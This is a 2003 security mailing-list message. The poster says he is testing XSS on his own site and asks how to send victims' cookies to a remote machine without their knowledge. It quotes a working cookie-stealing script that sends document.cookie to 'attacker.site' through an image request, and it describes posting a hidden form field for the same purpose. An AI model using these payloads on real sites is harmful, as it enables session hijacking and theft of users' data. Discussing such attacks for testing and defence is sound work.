From: Indian Tiger (indiantiger@mailandnews.com)
Date: Sun Apr 13 2003 - 03:33:12 EDT
Hi Rogan,
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[script language=javascript]document.print("<img
src='http://attacker.site/snarf?" + document.cookie + "'>")[/script]
I have tested this and it works perfectly fine. In my scenario I gave as
follows and it was working:
<script> alert(‘hacked’) </script>
Now I am testing Cross-Site Scripting to steal the client cookies, or any
other sensitive information. I am working on my own pen-test-testing site,
which is vulnerable to XSS. I was able to display the cookies of the client at
the victim’s machine, but that was not my goal, my goal is to get that cookies
on my machine or any desired location. So is there any way by which I can
transfer the victim’s cookie or any other information at my machine without
interaction of the victim.
One way of transferring cookie information from the victim’s machine to
attacker’s machine is to create a hidden filed & then transfer cookie
information to that hidden field & then post (submit) this hidden field to web
site of attacker. But this require interaction of victim, as victim must click
on submit button to post this data to attacker’s site, which is not a good
idea, the data should be transferred without knowledge of victim. So what
should be the best way to this? How I can upload a file from victim machine to
any other server?
Any suggestions on the above topics will be highly appreciated.
Thanking you,
Sincerely,
Indian Tiger, CISSP
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